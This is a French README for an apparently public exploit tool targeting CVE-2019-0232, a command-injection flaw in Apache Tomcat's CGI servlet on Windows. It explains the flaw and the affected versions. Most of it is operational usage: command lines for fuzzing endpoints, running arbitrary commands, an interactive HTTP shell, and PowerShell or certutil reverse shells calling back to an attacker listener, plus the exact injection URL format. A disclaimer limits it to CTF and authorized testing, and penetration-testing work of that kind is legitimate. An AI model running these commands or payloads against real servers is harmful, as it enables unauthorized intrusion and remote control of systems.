
Apache Tomcat : exécution de code à distance (RCE) sur le servlet CGI (Windows)
PoC pédagogique réservé aux CTF / tests d'intrusion autorisés uniquement.
L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est illégal.
CVE-2019-0232 est une vulnérabilité d'exécution de code à distance (RCE) dans Apache Tomcat sous Windows.
Lorsque enableCmdLineArguments=true est défini sur le servlet CGI (la valeur par défaut sous Windows avant le correctif), Tomcat transmet la chaîne de requête HTTP directement comme arguments de ligne de commande au fichier batch CGI via Runtime.exec(). Sous Windows, Runtime.exec() encapsule l'appel avec cmd.exe /c, ce qui rend le séparateur de commandes & actif dans ces arguments.
Un attaquant peut injecter une seconde commande système en incluant & (encodé en URL sous la forme ) dans l'URL :
%26GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| Branche | Plage vulnérable | Corrigé dans |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Exigence : enableCmdLineArguments=true dans conf/web.xml (valeur par défaut sous Windows avant le correctif).
-w)--cmd)certutil (solution de repli)System32, Windows, Wbem, PowerShell pour que whoami, ipconfig, netstat, powershell.exe fonctionnent sans chemins complets2>&1 ajouté automatiquement pour que la sortie d'erreur soit visible--proxy http://127.0.0.1:8080git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ requis.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| Option | Description |
|---|---|
--auto | Énumération → fuzzing → passage en shell interactif |
--enum | Énumère uniquement la version de Tomcat et les chemins CGI |
--fuzz | Fuzzing des points de terminaison .bat/.cmd accessibles |
--cmd COMMAND | Exécute une commande unique |
--interactive | Boucle de shell HTTP interactive |
--reverse-shell | Déclenche un reverse shell (nécessite --lhost) |
Mode automatique — laissez le script tout trouver :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Commande unique sur un point de terminaison connu :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Boucle de shell interactive :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Chaîne automatique complète → reverse shell (pas besoin de nc séparé) :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
Le script ouvre son propre écouteur TCP sur --lport, envoie la charge utile PowerShell et vous place dans un shell interactif lorsque la cible se connecte en retour.
Reverse shell PowerShell sur un chemin connu :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
Stager certutil (si PowerShell est bloqué) :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Wordlist personnalisée pour le fuzzing :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Les entrées sans extension de fichier sont automatiquement testées à la fois en .bat et en .cmd.
Acheminement via Burp Suite :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Afficher l'URL d'injection brute avant chaque requête :
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL Target base URL e.g. http://10.10.10.x:8080
path:
-p, --path PATH Known CGI script path e.g. /cgi/cmd.bat
modes:
--auto Full chain: enum → fuzz → interactive
--enum Enumerate Tomcat version and CGI paths
--fuzz Fuzz for accessible CGI script endpoints
--cmd COMMAND Run a single command and print output
--interactive Interactive command loop (HTTP shell)
--reverse-shell Send PowerShell reverse shell
reverse shell:
--lhost IP Your listener IP (use tun0 for HTB/OSCP)
--lport PORT Your listener port (default: 4444)
--shell-method {ps,certutil}
Payload type: ps (default) or certutil stager
options:
-w, --wordlist FILE Extra CGI names to fuzz (one per line)
--threads N Fuzz threads (default: 15)
--timeout N HTTP timeout in seconds (default: 10)
--proxy URL HTTP proxy e.g. http://127.0.0.1:8080
--no-ssl-verify Disable TLS certificate verification
--show-url Print the full injection URL before each request
Le script construit l'URL d'injection en trois étapes :
Injection PATH — encapsule votre commande dans un groupe qui définit PATH en premier :
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
Le echo. produit une ligne vide, ce qui satisfait l'analyseur d'en-têtes CGI de Tomcat afin que le corps de la réponse soit visible.
Encodage URL — les espaces deviennent +, les caractères spéciaux deviennent %XX via urllib.parse.quote.
Point d'injection — le groupe encodé est placé après %26 (le séparateur &) :
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Cet outil est fourni uniquement à des fins pédagogiques et pour des tests de sécurité autorisés.
L'auteur n'est pas responsable de tout usage abusif ou dommage causé par cet outil.
Obtenez toujours une autorisation écrite explicite avant de tester un système.